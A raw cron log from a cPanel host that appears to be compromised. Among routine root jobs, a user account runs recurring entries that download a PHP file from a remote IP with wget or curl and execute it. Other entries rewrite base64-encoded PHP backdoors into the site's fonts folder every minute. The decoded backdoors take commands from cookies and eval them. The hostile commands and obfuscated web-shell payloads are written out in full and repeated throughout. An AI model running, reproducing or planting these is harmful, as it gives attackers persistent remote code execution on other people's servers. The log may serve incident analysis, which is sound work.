Sep 20 10:40:02 ip-184-168-122-23 CROND[25947]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 10:41:01 ip-184-168-122-23 CROND[26199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:41:01 ip-184-168-122-23 CROND[26200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:41:01 ip-184-168-122-23 CROND[26202]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:41:01 ip-184-168-122-23 CROND[26204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:42:01 ip-184-168-122-23 CROND[26465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:42:01 ip-184-168-122-23 CROND[26468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:42:01 ip-184-168-122-23 CROND[26471]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:42:01 ip-184-168-122-23 CROND[26467]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 10:42:01 ip-184-168-122-23 CROND[26469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:43:01 ip-184-168-122-23 CROND[26717]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:43:01 ip-184-168-122-23 CROND[26718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:43:01 ip-184-168-122-23 CROND[26721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:43:01 ip-184-168-122-23 CROND[26719]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:44:01 ip-184-168-122-23 CROND[26978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:44:01 ip-184-168-122-23 CROND[26979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:44:01 ip-184-168-122-23 CROND[26981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:44:01 ip-184-168-122-23 CROND[26982]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 10:44:01 ip-184-168-122-23 CROND[26985]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:45:01 ip-184-168-122-23 CROND[27302]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:45:01 ip-184-168-122-23 CROND[27307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:45:01 ip-184-168-122-23 CROND[27309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:45:01 ip-184-168-122-23 CROND[27310]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 10:45:01 ip-184-168-122-23 CROND[27314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:45:01 ip-184-168-122-23 CROND[27312]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 10:46:01 ip-184-168-122-23 CROND[27562]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 10:46:01 ip-184-168-122-23 CROND[27563]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:46:01 ip-184-168-122-23 CROND[27564]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 20 10:46:01 ip-184-168-122-23 CROND[27567]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 10:46:01 ip-184-168-122-23 CROND[27570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:46:01 ip-184-168-122-23 CROND[27568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:46:01 ip-184-168-122-23 CROND[27569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:47:01 ip-184-168-122-23 CROND[27831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:47:01 ip-184-168-122-23 CROND[27832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:47:01 ip-184-168-122-23 CROND[27833]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:47:01 ip-184-168-122-23 CROND[27835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:48:01 ip-184-168-122-23 CROND[28065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:48:01 ip-184-168-122-23 CROND[28067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:48:01 ip-184-168-122-23 CROND[28068]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 10:48:01 ip-184-168-122-23 CROND[28066]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:48:01 ip-184-168-122-23 CROND[28069]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:49:01 ip-184-168-122-23 CROND[28317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:49:01 ip-184-168-122-23 CROND[28318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:49:02 ip-184-168-122-23 CROND[28326]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 20 10:49:02 ip-184-168-122-23 CROND[28327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:49:02 ip-184-168-122-23 CROND[28325]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:50:02 ip-184-168-122-23 CROND[28697]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 10:50:02 ip-184-168-122-23 CROND[28696]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 10:50:02 ip-184-168-122-23 CROND[28700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:50:02 ip-184-168-122-23 CROND[28704]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 10:50:02 ip-184-168-122-23 CROND[28701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:50:02 ip-184-168-122-23 CROND[28702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:50:02 ip-184-168-122-23 CROND[28703]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:50:02 ip-184-168-122-23 CROND[28705]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 10:50:02 ip-184-168-122-23 CROND[28706]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 10:51:01 ip-184-168-122-23 CROND[28984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:51:01 ip-184-168-122-23 CROND[28985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:51:01 ip-184-168-122-23 CROND[28988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:51:01 ip-184-168-122-23 CROND[28989]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:52:01 ip-184-168-122-23 CROND[29237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:52:01 ip-184-168-122-23 CROND[29239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:52:01 ip-184-168-122-23 CROND[29241]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:52:01 ip-184-168-122-23 CROND[29240]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 10:52:01 ip-184-168-122-23 CROND[29242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
